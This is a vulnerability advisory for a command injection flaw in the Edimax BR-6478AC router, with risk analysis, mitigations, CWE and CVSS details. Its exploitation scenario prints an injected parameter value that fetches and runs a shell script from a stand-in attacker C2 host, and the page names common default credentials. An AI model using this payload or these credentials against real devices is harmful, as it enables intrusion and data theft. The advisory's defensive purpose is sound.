CVE-2026-10166: Edimax BR-6478AC: RCE via command injection in Wi-Fi handler
MEDIUMCVE-2026-10166 is a remotely exploitable command injection flaw in the Edimax BR-6478AC wireless router (firmware 1.23), triggered by manipulating the rootAPmac parameter in a crafted POST request to /goform/formWlbasic. An authenticated attacker with only low-level privileges — easily obtained via default or brute-forced credentials common on SOHO devices — can inject and execute arbitrary OS commands, and a working proof-of-concept exploit is already publicly available. While not yet in CISA KEV and lacking an EPSS score, the public PoC lowers the exploitation bar to script-kiddie level, effectively elevating practical risk above the CVSS 6.3 medium score suggests. For AI/ML environments, the primary risk is lateral movement: a compromised network gateway provides an attacker direct access to the internal segment hosting model servers, vector databases, and GPU compute nodes that are typically not internet-facing. Immediate mitigations include upgrading to a patched firmware version if available, restricting the management interface to trusted admin hosts only, and ensuring AI infrastructure is on a separate network segment from the router's broadcast domain.
What is the risk?
Practical risk exceeds the CVSS 6.3 medium score due to the public exploit disclosure (E:P in the CVSS temporal vector). Authentication requirement is low-privilege — realistically bypassed via default credentials (admin/1234 or admin/admin are endemic on Edimax SOHO devices). Remote exploitation over the network with no user interaction required means any internet-exposed or LAN-accessible management interface is a viable target. In AI-centric environments, the critical concern is not the router itself but what sits behind it: an attacker with OS shell access on the gateway can intercept, redirect, or manipulate all traffic between AI components including model API calls, dataset transfers, and inference requests. No KEV listing and no EPSS data indicate no confirmed mass exploitation yet, but the public PoC changes the threat calculus immediately.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| BR-6478AC | — | — | No patch |
Do you use BR-6478AC? You're affected.
How severe is it?
What is the attack surface?
What should I do?
6 steps-
Patch firmware: Check edimax.com for a patched BR-6478AC firmware release; apply immediately if available.
-
Restrict management access: If no patch exists, block all access to /goform/ endpoints from untrusted networks using firewall ACLs or router ACLs; restrict HTTP/HTTPS management to a dedicated management VLAN with a strict allowlist of admin IP addresses.
-
Rotate credentials: Replace default credentials on all Edimax devices immediately; enforce strong, unique admin passwords.
-
Network segmentation: Ensure AI infrastructure (model servers, vector databases, GPU nodes, inference APIs) resides on a separate network segment with explicit firewall policies preventing the router from bridging untrusted traffic to AI hosts.
-
Detection: Monitor for unexpected outbound connections from the router (indicative of reverse shell), anomalous POST requests to /goform/formWlbasic in access logs, and unexplained configuration changes.
-
Inventory: Audit all Edimax BR-6478AC devices in the environment — these are often forgotten lab or branch-office routers sitting unpatched for years.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-10166?
CVE-2026-10166 is a remotely exploitable command injection flaw in the Edimax BR-6478AC wireless router (firmware 1.23), triggered by manipulating the rootAPmac parameter in a crafted POST request to /goform/formWlbasic. An authenticated attacker with only low-level privileges — easily obtained via default or brute-forced credentials common on SOHO devices — can inject and execute arbitrary OS commands, and a working proof-of-concept exploit is already publicly available. While not yet in CISA KEV and lacking an EPSS score, the public PoC lowers the exploitation bar to script-kiddie level, effectively elevating practical risk above the CVSS 6.3 medium score suggests. For AI/ML environments, the primary risk is lateral movement: a compromised network gateway provides an attacker direct access to the internal segment hosting model servers, vector databases, and GPU compute nodes that are typically not internet-facing. Immediate mitigations include upgrading to a patched firmware version if available, restricting the management interface to trusted admin hosts only, and ensuring AI infrastructure is on a separate network segment from the router's broadcast domain.
Is CVE-2026-10166 actively exploited?
No confirmed active exploitation of CVE-2026-10166 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-10166?
1. Patch firmware: Check edimax.com for a patched BR-6478AC firmware release; apply immediately if available. 2. Restrict management access: If no patch exists, block all access to /goform/ endpoints from untrusted networks using firewall ACLs or router ACLs; restrict HTTP/HTTPS management to a dedicated management VLAN with a strict allowlist of admin IP addresses. 3. Rotate credentials: Replace default credentials on all Edimax devices immediately; enforce strong, unique admin passwords. 4. Network segmentation: Ensure AI infrastructure (model servers, vector databases, GPU nodes, inference APIs) resides on a separate network segment with explicit firewall policies preventing the router from bridging untrusted traffic to AI hosts. 5. Detection: Monitor for unexpected outbound connections from the router (indicative of reverse shell), anomalous POST requests to /goform/formWlbasic in access logs, and unexplained configuration changes. 6. Inventory: Audit all Edimax BR-6478AC devices in the environment — these are often forgotten lab or branch-office routers sitting unpatched for years.
What systems are affected by CVE-2026-10166?
This vulnerability affects the following AI/ML architecture patterns: on-premises AI infrastructure, edge AI deployments, model serving (network-adjacent), training pipelines (data transfer path), RAG pipelines (if data ingestion traverses the router).
What is the CVSS score for CVE-2026-10166?
CVE-2026-10166 has a CVSS v3.1 base score of 6.3 (MEDIUM).
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0006 Active Scanning AML.T0049 Exploit Public-Facing Application AML.T0050 Command and Scripting Interpreter AML.T0072 Reverse Shell Compliance Controls Affected
What are the technical details?
Original Advisory
A vulnerability was determined in Edimax BR-6478AC 1.23. The affected element is the function formWlbasic of the file /goform/formWlbasic of the component POST Request Handler. This manipulation of the argument rootAPmac causes command injection. The attack is possible to be carried out remotely. The exploit has been publicly disclosed and may be utilized.
Exploitation Scenario
An attacker targeting an AI startup's on-premises GPU cluster begins by scanning the organization's IP range and identifies an Edimax BR-6478AC management portal on port 80. Using the publicly disclosed PoC, they authenticate with default credentials and send a crafted POST request to /goform/formWlbasic with a rootAPmac parameter containing an injected shell command: rootAPmac=AA:BB:CC:DD:EE:FF;curl+http://attacker-c2.com/shell.sh|sh. The router executes the payload, establishing a reverse shell to the attacker's C2 server. From this pivot point, the attacker performs internal network discovery and identifies the model inference server on 192.168.1.50 and the vector database on 192.168.1.60 — neither internet-accessible. The attacker exfiltrates proprietary model weights via direct TCP transfer through the compromised router, or alternatively performs DNS hijacking to redirect model download requests to a server hosting maliciously modified model files, poisoning the pipeline without ever directly touching the AI systems.
Weaknesses (CWE)
CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') CWE-77 Improper Neutralization of Special Elements used in a Command ('Command Injection') CWE-74 — Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection'): The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.
- [Requirements] Programming languages and supporting technologies might be chosen which are not subject to these issues.
- [Implementation] Utilize an appropriate mix of allowlist and denylist parsing to filter control-plane syntax from all input.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L/E:P/RL:X/RC:R References
- lavender-bicycle-a5a.notion.site/EDIMAX-BR6478ACV2-formWlbasic-34b53a41781f80edb1e5e0104741dfb2 exploit
- vuldb.com/submit/818623 third-party-advisory
- vuldb.com/vuln/367418 vdb-entry technical-description
- vuldb.com/vuln/367418/cti signature permissions-required
Timeline
Related Vulnerabilities
CVE-2025-5120 10.0 smolagents: sandbox escape enables unauthenticated RCE
Same attack type: Code Execution CVE-2025-59528 10.0 Flowise: Unauthenticated RCE via MCP config injection
Same attack type: Code Execution CVE-2025-2828 10.0 LangChain RequestsToolkit: SSRF exposes cloud metadata
Same attack type: Auth Bypass CVE-2025-53767 10.0 Azure OpenAI: SSRF EoP, no auth required (CVSS 10)
Same attack type: Auth Bypass CVE-2024-2912 10.0 BentoML: RCE via insecure deserialization (CVSS 10)
Same attack type: Code Execution